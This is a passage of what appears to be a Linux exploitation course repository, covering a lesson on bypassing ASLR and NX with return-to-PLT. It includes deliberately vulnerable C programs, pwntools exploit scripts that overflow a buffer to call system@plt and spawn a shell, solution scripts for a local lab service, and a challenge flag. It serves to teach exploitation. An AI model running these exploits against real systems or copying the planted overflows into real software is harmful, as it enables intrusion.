| char command[500]; 12 | puts("Memory Layout: "); 13 | sprintf(command, "cat /proc/%d/maps", pid); 14 | system(command); 15 | puts("\nFunction Addresses: "); 16 | printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system")); 17 | printf("PID: %d\n", pid); 18 | } 19 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/Makefile: -------------------------------------------------------------------------------- 1 | all: 1_clock 2_event0 2 | 3 | 1_clock: 4 | gcc -m32 -fno-stack-protector -znoexecstack -o ./build/1_clock ./src/1_clock.c 5 | 6 | 7 | 2_event0: 8 | gcc -m32 -fno-stack-protector -znoexecstack -o ./build/2_event0 ./src/2_event0.c 9 | gcc -m32 -fno-stack-protector -znoexecstack -o ./services/event0/event0 ./src/3_event0_with_secret.c 10 | 11 | 12 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/build/1_clock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/9_bypass_ret2plt/build/1_clock -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/build/2_event0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/9_bypass_ret2plt/build/2_event0 -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Bypassing ASLR/NX with Ret2PLT 2 | 3 | Before beginning this section, please ensure you have re-enabled ASLR. You can 4 | do this by running the following command. 5 | 6 | ```shell 7 | ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/scripts$ echo 2 | 8 | sudo tee /proc/sys/kernel/randomize_va_space 9 | 2 10 | ``` 11 | 12 | Finally, we have two protections enabled: ASLR and NX. To start off, this will 13 | be our [first target][1] for the section: 14 | 15 | ```c 16 | #include 17 | #include 18 | #include 19 | 20 | void show_time() { 21 | system("date"); 22 | system("cal"); 23 | } 24 | 25 | void vuln() { 26 | char buffer[64]; 27 | read(0, buffer, 92); 28 | printf("Your name is %s\n", buffer); 29 | } 30 | 31 | int main() { 32 | puts("Welcome to the Matrix."); 33 | puts("The sheep are blue, but you see red"); 34 | vuln(); 35 | puts("Time is very important to us."); 36 | show_time(); 37 | } 38 | ``` 39 | 40 | Running the [binary][2]: 41 | 42 | ```shell 43 | amon@bethany:~/sproink/linux-exploitation-course/lessons/9_bypass_ret2plt$ ./build/1_clock 44 | Welcome to the Matrix. 45 | The sheep are blue, but you see red 46 | AAAA 47 | Your name is AAAA 48 | 49 | Time is very important to us. 50 | Fri Jan 13 22:33:13 SGT 2017 51 | January 2017 52 | Su Mo Tu We Th Fr Sa 53 | 1 2 3 4 5 6 7 54 | 8 9 10 11 12 13 14 55 | 15 16 17 18 19 20 21 56 | 22 23 24 25 26 27 28 57 | 29 30 31 58 | ``` 59 | 60 | Now that ASLR has been enabled, we have a problem. We no longer can be sure 61 | where the libc will be mapped at. However, that begs the question: how does the 62 | binary know where the address of anything is now that they are randomised? The 63 | answer lies in something called the Global Offset Table and the Procedure 64 | Linkage Table. 65 | 66 | ## Global Offset Table 67 | 68 | To handle functions from dynamically loaded objects, the compiler assigns a 69 | space to store a list of pointers in the binary. Each slot of the pointers to be 70 | filled in is called a 'relocation' entry. This region of memory is marked 71 | readable to allow for the values for the entries to change during runtime. 72 | 73 | We can take a look at the '.got' segment of the clock binary with `readelf`. 74 | 75 | ```shell 76 | ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ readelf --relocs 1_clock 77 | 78 | Relocation section '.rel.dyn' at offset 0x2dc contains 1 entries: 79 | Offset Info Type Sym.Value Sym. Name 80 | 08049ffc 00000506 R_386_GLOB_DAT 00000000 __gmon_start__ 81 | 82 | Relocation section '.rel.plt' at offset 0x2e4 contains 5 entries: 83 | Offset Info Type Sym.Value Sym. Name 84 | 0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0 85 | 0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 86 | 0804a014 00000307 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 87 | 0804a018 00000407 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 88 | 0804a01c 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 89 | ``` 90 | 91 | Let's take the read entry in the GOT as an example. If we hop onto gdb, and open 92 | the binary in the debugger without running it, we can examine what is in the GOT 93 | initially. 94 | 95 | ```shell 96 | gdb-peda$ x/xw 0x0804a00c 97 | 0x804a00c: 0x08048346 98 | ``` 99 | 100 | It actually turns out that that value is an address within the Procedure Linkage 101 | Table. This actually is part of the mechanic to perform lazy binding. Lazy 102 | binding allows the binary to only resolve its dynamic addresses when it needs o. 103 | 104 | If we run it and break just before the program ends, we can see that the value 105 | in the GOT is completely different and now points somewhere in libc. 106 | 107 | ```shell 108 | gdb-peda$ x/xw 0x0804a00c 109 | 0x804a00c: 0x08048346 110 | ... snip ... 111 | gdb-peda$ x/xw 0x0804a00c 112 | 0x804a00c: 0xf7eea980 113 | gdb-peda$ 114 | ``` 115 | 116 | ## Procedure Linkage Table 117 | 118 | When you use a libc function in your code, the compiler does not directly call 119 | that function but calls a PLT stub instead. Let's take a look at the disassembly 120 | of the `read` function in PLT. 121 | 122 | ```shell 123 | gdb-peda$ disas read 124 | Dump of assembler code for function read@plt: 125 | 0x08048340 <+0>: jmp DWORD PTR ds:0x804a00c 126 | 0x08048346 <+6>: push 0x0 127 | 0x0804834b <+11>: jmp 0x8048330 128 | End of assembler dump. 129 | gdb-peda$ 130 | ``` 131 | 132 | Here's what's going on here when the function is run for the first time: 133 | 134 | 1. The `read@plt` function is called. 135 | 2. Execution reaches `jmp DWORD PTR ds:0x804a00c` and the memory address 136 | 0x804a00c is dereferenced and is jumped to. If that value looks familiar, it 137 | is. It was the address of the GOT entry of `read`. 138 | 3. Since the GOT contained the value 0x08048346 initially, execution jumps to 139 | the next instruction of the `read@plt` function because that's where it 140 | points to. 141 | 4. The dynamic loader is called which overwrites the GOT with the resolved 142 | address. 143 | 5. Execution continues at the resolved address. 144 | 145 | The details of this will be important for the next section but for now, the 146 | crucial characteristic of the PLT stub is that it is part of the binary and will 147 | be mapped at a static address. Thus, we can use the stub as a target when 148 | constructing our exploit. 149 | 150 | ## Writing the Exploit 151 | 152 | As per usual, here is the [skeleton code][3] to obtain EIP control of the 153 | binary. 154 | 155 | ```python 156 | #!/usr/bin/python 157 | 158 | from pwn import * 159 | 160 | def main(): 161 | # Start the process 162 | p = process("../build/1_clock") 163 | 164 | # Print the pid 165 | raw_input(str(p.proc.pid)) 166 | 167 | # Craft the payload 168 | payload = "A"*76 + p32(0xdeadc0de) 169 | payload = payload.ljust(96, "\x00") 170 | 171 | # Send the payload 172 | p.send(payload) 173 | 174 | # Pass interaction to the user 175 | p.interactive() 176 | 177 | if __name__ == "__main__": 178 | main() 179 | ``` 180 | 181 | Let's look at the available PLT stubs to choose from. 182 | 183 | ```shell 184 | ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ objdump -d ./1_clock -j .plt 185 | 186 | ./1_clock: file format elf32-i386 187 | 188 | 189 | Disassembly of section .plt: 190 | 191 | 08048330 : 192 | 8048330: ff 35 04 a0 04 08 pushl 0x804a004 193 | 8048336: ff 25 08 a0 04 08 jmp *0x804a008 194 | 804833c: 00 00 add %al,(%eax) 195 | ... 196 | 197 | 08048340 : 198 | 8048340: ff 25 0c a0 04 08 jmp *0x804a00c 199 | 8048346: 68 00 00 00 00 push $0x0 200 | 804834b: e9 e0 ff ff ff jmp 8048330 <_init+0x24> 201 | 202 | 08048350 : 203 | 8048350: ff 25 10 a0 04 08 jmp *0x804a010 204 | 8048356: 68 08 00 00 00 push $0x8 205 | 804835b: e9 d0 ff ff ff jmp 8048330 <_init+0x24> 206 | 207 | 08048360 : 208 | 8048360: ff 25 14 a0 04 08 jmp *0x804a014 209 | 8048366: 68 10 00 00 00 push $0x10 210 | 804836b: e9 c0 ff ff ff jmp 8048330 <_init+0x24> 211 | 212 | 08048370 : 213 | 8048370: ff 25 18 a0 04 08 jmp *0x804a018 214 | 8048376: 68 18 00 00 00 push $0x18 215 | 804837b: e9 b0 ff ff ff jmp 8048330 <_init+0x24> 216 | 217 | 08048380 <__libc_start_main@plt>: 218 | 8048380: ff 25 1c a0 04 08 jmp *0x804a01c 219 | 8048386: 68 20 00 00 00 push $0x20 220 | 804838b: e9 a0 ff ff ff jmp 8048330 <_init+0x24> 221 | ``` 222 | 223 | We are in luck, because `system@plt` is a powerful function we can definitely 224 | use. That's one out of two things we need. The second thing is a command we can 225 | execute. Normally, we would use "/bin/sh" but it does not seem we would find 226 | that here. 227 | 228 | Take a moment to figure out a target before taking a look at the answers. 229 | 230 | It turns out that `ed` is a valid Linux command. It actually spawns a 231 | minimalistic editor. It also turns out that there is an "ed" string available in 232 | the binary. Can you spot it? 233 | 234 | ```shell 235 | ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ strings -a 1_clock 236 | /lib/ld-linux.so.2 237 | libc.so.6 238 | _IO_stdin_used 239 | puts 240 | printf 241 | read 242 | system 243 | __libc_start_main 244 | __gmon_start__ 245 | GLIBC_2.0 246 | PTRh 247 | UWVS 248 | t$,U 249 | [^_] 250 | date 251 | Your name is %s 252 | Welcome to the Matrix. 253 | The sheep are blue, but you see red 254 | Time is very important to us. 255 | ``` 256 | 257 | If we take the last two characters of the string "The sheep are blue, but you 258 | see red" or "\_IO\_stdin\_used", we can get that "ed" we are looking for. 259 | 260 | 261 | ```shell 262 | gdb-peda$ find "The sheep are blue, but you see red" 263 | Searching for 'The sheep are blue, but you see red' in: None ranges 264 | Found 3 results, display max 3 items: 265 | 1_clock : 0x8048604 ("The sheep are blue, but you see red") 266 | 1_clock : 0x8049604 ("The sheep are blue, but you see red") 267 | [heap] : 0x804b008 ("The sheep are blue, but you see red\n") 268 | gdb-peda$ 269 | ``` 270 | 271 | Putting our parts together, we can come up with this [final exploit][9]. 272 | 273 | ```python 274 | #!/usr/bin/python 275 | 276 | from pwn import * 277 | 278 | system_plt = 0x08048370 279 | ed_str = 0x8048625 280 | 281 | def main(): 282 | # Start the process 283 | p = process("../build/1_clock") 284 | 285 | # Craft the payload 286 | payload = "A"*76 287 | payload += p32(system_plt) 288 | payload += p32(0xdeadbeef) 289 | payload += p32(ed_str) 290 | payload = payload.ljust(96, "\x00") 291 | 292 | # Send the payload 293 | p.send(payload) 294 | 295 | # Pass interaction to the user 296 | p.interactive() 297 | 298 | if __name__ == "__main__": 299 | main() 300 | ``` 301 | 302 | But, now you might ask, if all we are going to spawn is a line based text 303 | editor, then how are we going to get our shell? As it so happens, the `ed` 304 | program can actually run commands! 305 | 306 | ```shell 307 | ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/scripts$ python 2_final.py 308 | [+] Starting local process '../build/1_clock': Done 309 | [*] Switching to interactive mode 310 | Welcome to the Matrix. 311 | The sheep are blue, but you see red 312 | Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\x83\x0ᆳ�%\x86\x0 313 | $ ls -la 314 | ? 315 | $ !/bin/sh 316 | $ ls -la 317 | total 2100 318 | drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 15:56 . 319 | drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 15:56 .. 320 | -rw-rw-r-- 1 ubuntu ubuntu 405 Jan 12 21:54 1_skeleton.py 321 | -rw-rw-r-- 1 ubuntu ubuntu 468 Jan 12 21:57 2_final.py 322 | -rw-rw-r-- 1 ubuntu ubuntu 408 Jan 12 22:41 3_event0_skeleton.py 323 | -rw-rw-r-- 1 ubuntu ubuntu 483 Jan 12 22:52 4_event0_local.py 324 | -rw-rw-r-- 1 ubuntu ubuntu 518 Jan 12 22:52 5_event0_remote.py 325 | -rw------- 1 ubuntu ubuntu 2121728 Jan 13 15:56 core 326 | $ 327 | [*] Stopped program '../build/1_clock' 328 | ``` 329 | 330 | ## Exercises 331 | 332 | Please do these exercises without looking at the solution. 333 | 334 | ### Ex 9.1: Event 0 335 | 336 | Let's start doing some difficult exercises. Here is [event0][4]. Try to solve 337 | this problem using the Ret2PLT technique. 338 | 339 | ```c 340 | #include 341 | #include 342 | #include 343 | #include 344 | 345 | int active = 1; 346 | char name[200]; 347 | char * secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; 348 | 349 | void print_warning() { 350 | puts("======================================================================================="); 351 | puts("This Kaizen-85 Artificial Intelligence would like to remind you that this is not a toy."); 352 | puts("Please treat this terminal with the utmost care."); 353 | puts("Crashing this program will result in ship malfunction."); 354 | puts("You have been warned."); 355 | puts("=======================================================================================\n"); 356 | } 357 | 358 | void print_prompt() { 359 | printf("Options for "); 360 | puts(name); 361 | puts("1. Peek Memory Address"); 362 | puts("2. Change Name"); 363 | puts("3. Overwite Memory Address"); 364 | puts("9. Exit Terminal"); 365 | } 366 | 367 | void peek_prompt() { 368 | int * address; 369 | printf("Address: "); 370 | scanf("%p", &address); 371 | printf("Contents: 0x%x\n", *address); 372 | } 373 | 374 | void change_name() { 375 | char buffer[100]; 376 | printf("Name: "); 377 | read(0, buffer, sizeof(name)); 378 | buffer[strcspn(buffer, "\n")] = 0; 379 | strncpy(name, buffer, sizeof(name)); 380 | } 381 | 382 | void poke_prompt() { 383 | int * address; 384 | int data; 385 | printf("Address: "); 386 | scanf("%p", &address); 387 | printf("Data: "); 388 | scanf("%x", &data); 389 | *address = data; 390 | } 391 | 392 | void print_secret() { 393 | if (getpid() == 0) { 394 | puts("secret"); 395 | } 396 | } 397 | 398 | int main() { 399 | setvbuf(stdin, NULL, _IONBF, 0); 400 | setvbuf(stdout, NULL, _IONBF, 0); 401 | 402 | int option; 403 | print_warning(); 404 | change_name(); 405 | while (active) { 406 | print_prompt(); 407 | printf("Option: "); 408 | scanf("%d", &option); 409 | if (option == 9) { 410 | active = 0; 411 | puts("Goodbye."); 412 | } 413 | else if (option == 1) { 414 | peek_prompt(); 415 | } 416 | else if (option == 2) { 417 | change_name(); 418 | } 419 | else if (option == 3) { 420 | poke_prompt(); 421 | } 422 | else if (option == 4) { 423 | print_secret(); 424 | } 425 | } 426 | } 427 | ``` 428 | 429 | The binary can be found [here][5]. And the remote target is at `nc localhost 430 | 1901`. 431 | 432 | If you get stuck, you can look at the following solution scripts in order of 433 | completeness. 434 | 435 | 1. [Skeleton][6] 436 | 2. [Local POC][7] 437 | 3. [Remote POC][8] 438 | 439 | [1]: ./src/1_clock.c 440 | [2]: ./build/1_clock 441 | [3]: ./scripts/1_skeleton.py 442 | [4]: ./src/2_event0.c 443 | [5]: ./build/2_event0 444 | [6]: ./scripts/3_event0_skeleton.py 445 | [7]: ./scripts/4_event0_local.py 446 | [8]: ./scripts/5_event0_remote.py 447 | [9]: ./scripts/2_final.py 448 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/scripts/1_skeleton.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start the process 7 | p = process("../build/1_clock") 8 | 9 | # Print the pid 10 | raw_input(str(p.proc.pid)) 11 | 12 | # Craft the payload 13 | payload = "A"*76 + p32(0xdeadc0de) 14 | payload = payload.ljust(96, "\x00") 15 | 16 | # Send the payload 17 | p.send(payload) 18 | 19 | # Pass interaction to the user 20 | p.interactive() 21 | 22 | if __name__ == "__main__": 23 | main() 24 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/scripts/2_final.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | system_plt = 0x08048370 6 | ed_str = 0x8048625 7 | 8 | def main(): 9 | # Start the process 10 | p = process("../build/1_clock") 11 | 12 | # Craft the payload 13 | payload = "A"*76 14 | payload += p32(system_plt) 15 | payload += p32(0xdeadbeef) 16 | payload += p32(ed_str) 17 | payload = payload.ljust(96, "\x00") 18 | 19 | # Send the payload 20 | p.send(payload) 21 | 22 | # Pass interaction to the user 23 | p.interactive() 24 | 25 | if __name__ == "__main__": 26 | main() 27 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/scripts/3_event0_skeleton.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start the process 7 | p = process("../build/2_event0") 8 | 9 | # Print the pid 10 | raw_input(str(p.proc.pid)) 11 | 12 | # Craft the payload 13 | payload = "A"*112 + p32(0xdeadc0de) 14 | payload = payload.ljust(200, "\x00") 15 | 16 | # Send the payload 17 | p.send(payload) 18 | 19 | # Pass interaction to the user 20 | p.interactive() 21 | 22 | if __name__ == "__main__": 23 | main() 24 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/scripts/4_event0_local.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | puts_plt = 0x08048480 6 | secret_address = 0x8048940 7 | 8 | def main(): 9 | # Start the process 10 | p = process("../build/2_event0") 11 | 12 | # Craft the payload 13 | payload = "A"*112 14 | payload += p32(puts_plt) 15 | payload += p32(0xdeadbeef) 16 | payload += p32(secret_address) 17 | payload = payload.ljust(200, "\x00") 18 | 19 | # Send the payload 20 | p.send(payload) 21 | 22 | # Pass interaction to the user 23 | p.interactive() 24 | 25 | if __name__ == "__main__": 26 | main() 27 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/scripts/5_event0_remote.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | puts_plt = 0x08048480 6 | secret_address = 0x8048940 7 | 8 | def main(): 9 | # Start the process 10 | #p = process("../build/2_event0") 11 | p = remote("localhost", 1901) 12 | 13 | # Craft the payload 14 | payload = "A"*112 15 | payload += p32(puts_plt) 16 | payload += p32(0xdeadbeef) 17 | payload += p32(secret_address) 18 | payload = payload.ljust(200, "\x00") 19 | 20 | # Send the payload 21 | p.send(payload) 22 | 23 | # Pass interaction to the user 24 | p.interactive() 25 | 26 | if __name__ == "__main__": 27 | main() 28 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/services/event0/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | ENV user=event0 3 | RUN dpkg --add-architecture i386 4 | RUN sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list 5 | RUN apt-get update 6 | RUN apt-get install -y xinetd libc6:i386 libncurses5:i386 libstdc++6:i386 7 | RUN useradd -m $user 8 | RUN echo "$user hard nproc 20" >> /etc/security/limits.conf 9 | COPY ./event0 /home/$user/event0 10 | COPY ./event0service /etc/xinetd.d/event0service 11 | RUN chown -R root:$user /home/$user 12 | RUN chmod -R 750 /home/$user 13 | EXPOSE 31337 14 | CMD ["/usr/sbin/xinetd", "-d"] 15 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/services/event0/dockerbuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t event0 . 4 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/services/event0/dockerrun.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker run -dt -p 1901:31337 event0 4 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/services/event0/event0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/9_bypass_ret2plt/services/event0/event0 -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/services/event0/event0service: -------------------------------------------------------------------------------- 1 | service event0service 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = event0 8 | bind = 0.0.0.0 9 | server = /home/event0/event0 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/src/1_clock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void show_time() { 6 | system("date"); 7 | system("cal"); 8 | } 9 | 10 | void vuln() { 11 | char buffer[64]; 12 | read(0, buffer, 92); 13 | printf("Your name is %s\n", buffer); 14 | } 15 | 16 | int main() { 17 | puts("Welcome to the Matrix."); 18 | puts("The sheep are blue, but you see red"); 19 | vuln(); 20 | puts("Time is very important to us."); 21 | show_time(); 22 | } 23 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/src/2_event0.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int active = 1; 7 | char name[200]; 8 | char * secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; 9 | 10 | void print_warning() { 11 | puts("======================================================================================="); 12 | puts("This Kaizen-85 Artificial Intelligence would like to remind you that this is not a toy."); 13 | puts("Please treat this terminal with the utmost care."); 14 | puts("Crashing this program will result in ship malfunction."); 15 | puts("You have been warned."); 16 | puts("=======================================================================================\n"); 17 | } 18 | 19 | void print_prompt() { 20 | printf("Options for "); 21 | puts(name); 22 | puts("1. Peek Memory Address"); 23 | puts("2. Change Name"); 24 | puts("3. Overwite Memory Address"); 25 | puts("9. Exit Terminal"); 26 | } 27 | 28 | void peek_prompt() { 29 | int * address; 30 | printf("Address: "); 31 | scanf("%p", &address); 32 | printf("Contents: 0x%x\n", *address); 33 | } 34 | 35 | void change_name() { 36 | char buffer[100]; 37 | printf("Name: "); 38 | read(0, buffer, sizeof(name)); 39 | buffer[strcspn(buffer, "\n")] = 0; 40 | strncpy(name, buffer, sizeof(name)); 41 | } 42 | 43 | void poke_prompt() { 44 | int * address; 45 | int data; 46 | printf("Address: "); 47 | scanf("%p", &address); 48 | printf("Data: "); 49 | scanf("%x", &data); 50 | *address = data; 51 | } 52 | 53 | void print_secret() { 54 | if (getpid() == 0) { 55 | puts("secret"); 56 | } 57 | } 58 | 59 | int main() { 60 | setvbuf(stdin, NULL, _IONBF, 0); 61 | setvbuf(stdout, NULL, _IONBF, 0); 62 | 63 | int option; 64 | print_warning(); 65 | change_name(); 66 | while (active) { 67 | print_prompt(); 68 | printf("Option: "); 69 | scanf("%d", &option); 70 | if (option == 9) { 71 | active = 0; 72 | puts("Goodbye."); 73 | } 74 | else if (option == 1) { 75 | peek_prompt(); 76 | } 77 | else if (option == 2) { 78 | change_name(); 79 | } 80 | else if (option == 3) { 81 | poke_prompt(); 82 | } 83 | else if (option == 4) { 84 | print_secret(); 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /lessons/9_bypass_ret2plt/src/3_event0_with_secret.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int active = 1; 7 | char name[200]; 8 | char * secret = "flag{1m_s0rry_d4v3_1_c4nt_d0_th4t}"; 9 | 10 | void print_warning() { 11 | puts("======================================================================================="); 12 | puts("This Kaizen-85 Artificial Intelligence would like to remind you that this is not a toy."); 13 | puts("Please treat this terminal with the utmost care."); 14 | puts("Crashing this program will result in ship malfunction."); 15 | puts("You have been warned."); 16 | puts("=======================================================================================\n"); 17 | } 18 | 19 | void print_prompt() { 20 | printf("Options for "); 21 | puts(name); 22 | puts("1. Peek Memory Address"); 23 | puts("2. Change Name"); 24 | puts("3. Overwite Memory Address"); 25 | puts("9. Exit Terminal"); 26 | } 27 | 28 | void peek_prompt() { 29 | int * address; 30 | printf("Address: "); 31 | scanf("%p", &address); 32 | printf("Contents: 0x%x\n", *address); 33 | } 34 | 35 | void change_name() { 36 | char buffer[100]; 37 | printf("Name: "); 38 | read(0, buffer, sizeof(name)); 39 | buffer[strcspn(buffer, "\n")] = 0; 40 | strncpy(name, buffer, sizeof(name)); 41 | } 42 | 43 | void poke_prompt() { 44 | int * address; 45 | int data; 46 | printf("Address: "); 47 | scanf("%p", &address); 48 | printf("Data: "); 49 | scanf("%x", &data); 50 | *address = data; 51 | } 52 | 53 | void print_secret() { 54 | if (getpid() == 0) { 55 | puts("secret"); 56 | } 57 | } 58 | 59 | int main() { 60 | setvbuf(stdin, NULL, _IONBF, 0); 61 | setvbuf(stdout, NULL, _IONBF, 0); 62 | 63 | int option; 64 | print_warning(); 65 | change_name(); 66 | while (active) { 67 | print_prompt(); 68 | printf("Option: "); 69 | scanf("%d", &option); 70 | if (option == 9) { 71 | active = 0; 72 | puts("Goodbye."); 73 | } 74 | else if (option == 1) { 75 | peek_prompt(); 76 | } 77 | else if (option == 2) { 78 | change_name(); 79 | } 80 | else if (option == 3) { 81 | poke_prompt(); 82 | } 83 | else if (option == 4) { 84 | print_secret(); 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /makeall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | for directory in lessons/*; do 4 | cd $directory 5 | ls Makefile 1>/dev/null 2>/dev/null && make all 6 | cd ../.. 7 | done 8 | --------------------------------------------------------------------------------